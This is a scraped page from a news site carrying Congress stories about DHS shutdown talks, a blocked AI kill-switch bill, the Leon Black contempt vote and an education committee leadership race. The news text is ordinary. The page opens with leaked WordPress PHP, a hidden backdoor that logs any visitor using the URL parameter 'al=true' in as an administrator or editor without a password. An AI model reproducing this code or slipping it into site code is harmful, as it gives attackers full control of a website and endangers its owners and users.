// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Capitol agenda: Trump muddies DHS talks – Blue Light News
Connect with us

Congress

Capitol agenda: Trump muddies DHS talks

Published

on

It’s crunch time for talks to reopen the Department of Homeland Security — and President Donald Trump is making things messier.

The House and Senate are scheduled to leave in a few days for a two-week recess. If they go home with no deal, the DHS funding lapse could end up lasting at least two months and break a new record for the longest shutdown of a federal agency. Now Trump is saying he doesn’t even want a deal if the Senate doesn’t pass the SAVE America Act.

Despite Trump’s warning, the threat of a two-month shutdown is spurring an uptick in what had been completely stalled negotiations. Starting Monday, the Trump administration plans to detail ICE agents to airports to do jobs like guarding exits so TSA agents can focus on screening passengers and baggage.

A bipartisan group of senators is aiming to meet Monday with border czar Tom Homan to continue talks, after the White House laid out an expanded offer Friday that included changes to DHS immigration enforcement tactics.

“We’ll see if they can land something,” Senate Majority Leader John Thune said in an interview Sunday.

But Trump made a deal somewhat more complicated Sunday night.

When asked by NewsNation about whether Congress should just fund TSA while negotiating the rest of DHS, he said “I don’t think any deal should be made on this until they approve SAVE America.” He then said on Truth Social, “I don’t think we should make any deal with the Crazy, Country Destroying, Radical Left Democrats unless, and until, they Vote with Republicans to pass ‘THE SAVE AMERICA ACT.’”

What does it mean? Trump’s missive reflects where some Republicans already believed he was privately — in no mood to accept a DHS deal unless the elections bill is also passed. But negotiators and members of leadership are still hoping there can be a deal.

Trump is also opposed to breaking up DHS funding, including a plan proposed by Sens. Ted Cruz (R-Texas), John Kennedy (R-La.) and other conservatives to fund most of DHS now through a bipartisan deal and then let Republicans separately fund ICE and CBP through budget reconciliation, two people granted anonymity to disclose private discussions told Blue Light News. Thune on Sunday didn’t close the door to the idea and noted it was one of several under discussion, though he’s urging Democrats to fund all of DHS.

Despite the movement in negotiations, it’s still looking likely that the DHS shutdown will be record-breaking. While the Senate is considering staying in session if the shutdown isn’t resolved, House GOP leaders do not plan to cut their break short, according to three people granted anonymity to discuss private planning. The House will likely vote again on DHS funding on Thursday.

Also for your radar: Senate Democrats will force at least one Iran war powers vote this week and House Democrats are hoping to do the same. Sen. Lisa Murkowski (R-Alaska) told reporters this weekend that it’s time for Congress to consider a formal authorization for use of military force and that she’s been working with Republicans on what an AUMF might look like.

What else we’re watching: The Senate returns at 3 p.m. to finish debate on Sen. Markwayne Mullin’s (R-Okla.) nomination to be DHS secretary. Mullin is expected to be confirmed as soon as Monday night after Democratic Sens. John Fetterman of Pennsylvania and Martin Heinrich of New Mexico joined most Republicans Sunday to advance him.

Jennifer Scholtes, Jordain Carney, Katherine Tully-McManus and Meredith Lee Hill contributed to this report.

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Rand Paul kills Kennedy’s AI ‘kill switch’ bill

Published

on

Sen. Rand Paul blocked an attempt by fellow Republican Sen. John Kennedy to quickly pass legislation that would require companies to build a “kill switch” into their artificial intelligence model.

Kennedy, of Louisiana, went to the Senate floor Wednesday to try to pass his bill without holding a formal vote — a step that can be prevented by any one of his 99 colleagues. He argued that the measure was effectively a short-term step, with Congress unlikely to pass more sweeping AI legislation in the immediate future even amid fears that technological advancements could spiral out of human control.

“We are not going to get up off our ice-cold lazy butts and address this anytime soon,” Kennedy said about Congress’ inability to pass a more comprehensive bill. “But still we’ve got this risk out there that we know is real of one of these models becoming the Terminator.”

Paul, however, blocked Kennedy’s request to pass the bill through a unanimous consent agreement, saying from the Senate floor, “I think we should have as many facts as possible before we dictate rules for the whole economy.”

“I don’t oppose the spirit of this bill but I do ask that we make sure that we have all the information,” the Kentucky lawmaker added.

Paul tried to amend Kennedy’s bill to establish a group that could make recommendations on AI guardrail policies to the Senate Commerce Committee. Kennedy rejected that suggestion.

“My mama didn’t raise a fool,” he said, adding, “a committee is a way to kill this.”

Kennedy’s push for a vote comes after he told reporters Monday that he intended to roll out legislation and attempt to pass it this week, even while he acknowledged that he didn’t yet have any formal buy-in from his colleagues. He also appeared to know by earlier in the day Wednesday that he was running into a roadblock, saying in an interview that he expected Paul to offer a counterproposal.

Continue Reading

Congress

House votes to hold Leon Black in contempt of Congress

Published

on

The House voted Wednesday by unanimous consent to hold billionaire investor Leon Black in contempt of Congress after he refused to comply with two congressional subpoenas sought by the Oversight Committee as part of its investigation into the late Jeffrey Epstein.

The matter is now in the hands of the Justice Department, which will determine whether to ultimately bring charges against Black. A spokesperson for the U.S. Attorney’s Office for the District of Columbia did not immediately respond to a request for comment.

It marks the first time a witness has been held in contempt over the course of the Oversight panel’s yearlong probe into Epstein and the web of powerful people who enabled his abuse for years before his conviction on sex trafficking charges.

“This vote is an important step towards justice and accountability,” said the committee’s top Democrat, Rep. Robert Garcia of California. “Leon Black has continued to defy two congressional subpoenas and we need to know why he gave Jeffrey Epstein $180 million dollars. We will continue to center the survivors in our fight to hold those responsible for these horrific crimes. We are just getting started.”

Black, according to the Oversight Committee, had a close personal relationship with Epstein for years as well as financial connections, with Black paying Epstein over $158 million. He was brought in for a transcribed interview with the panel members in June but refused to turn over certain nondisclosure agreements he entered into with women tied back to Epstein, resulting in subpoenas to compel their release.

Black has refused to comply with the demand, instead choosing to sue the Oversight Committee on allegations the leaders overstepped their authority in making their demands. It did not stop the committee from moving forward with contempt proceedings, voting Tuesday to recommend the full House take action.

“As a result of his extensive dealings with Epstein, Mr. Black possesses firsthand information regarding the activities of Epstein and [Ghislaine] Maxwell and their efforts to establish relationships and curry favor with influential individuals while engaged in sex trafficking,” the panel said in its contempt resolution.

Susan Estrich and Aaron Cutler, Black’s attorneys, in a statement called the action against Black “politically motivated and completely retaliatory by a Chairman who is focused solely on himself and his own political ambitions without any regard for the truth and the law.”

“We intend to pursue our litigation challenging this action and will hold the Committee and Chairman [James] Comer [R-Ky.] accountable in the courts,” the lawyers added.

Comer, in a statement, said, “no one is above the law. Leon Black defied two subpoenas, and the U.S. House of Representatives acted swiftly to find him in contempt of Congress. We will continue to seek transparency for the American people and justice for survivors in our investigation of the federal government’s handling of the Jeffrey Epstein and [co-conspirator] Ghislaine Maxwell criminal cases.”

Continue Reading

Congress

Bonamici ‘exploring’ bid for Scott’s education leadership

Published

on

The top Democrat on the House education committee is potentially facing a second challenge to his leadership amid broader frustrations over the caucus’ longstanding deference to seniority.

Rep. Bobby Scott already set out to defend his record on the House Education and Workforce Committee last week after Rep. Jahana Hayes (D-Conn.) launched a formal bid for his spot on the panel. Now, one of the Virginia Democrat’s allies, Rep. Suzanne Bonamici (D-Ore.), says she is “not ruling anything out” about making her own run.

“I want the best leadership for the committee. I’ve been on the committee for a long time and [am] just exploring all the options,” Bonamici, who has served on the panel since 2013, said in an interview. “It’s a really important committee. I care about it a lot. It’s important for our future.”

The race for Scott’s position — and potentially the committee gavel, if Democrats flip the chamber in the midterms — is the latest example of the angst within the caucus about leadership opportunities. It also reflects the interest Democrats have in ramping up oversight of the Trump administration and its efforts to dismantle the Education Department, scrutiny that sparked Hayes’ run against Scott, who is 26 years older.

House Minority Leader Hakeem Jeffries told reporters Monday that he has spoken with both Scott and Hayes but declined to say more.

Scott, who is 79 and has served as the House education committee’s top Democrat since 2015, often delegates the more attention-grabbing aspects of ranking member to others, particularly former teachers serving on the panel.

When House Democrats marched to Education Department headquarters demanding to meet with agency leaders early last year, Rep. Mark Takano (D-Calif.) took the lead. And Bonamici led a resolution to impeach Education Secretary Linda McMahon earlier this year with the support of other committee members and House lawmakers — a resolution where Scott isn’t a co-sponsor.

“Ranking member Scott has his role as the ranking member, but I think it’s up to Congresswoman Bonamici, myself and others to build support,” Takano said in an interview earlier this summer, when asked if Scott should support the effort to impeach McMahon.

Scott doesn’t seem worried and repeatedly said he would let his work speak for itself. He also used a Dear Colleague letter to dissuade any concerns about his leadership style and demeanor.

“While I have no qualms about sharing the spotlight with my colleagues, I want to be clear that my colleagues should not confuse my humility with an inability to deliver results,” Scottwrote in a letter to colleagues declaring his candidacy to continue leading Democrats on the committee.

Continue Reading

Trending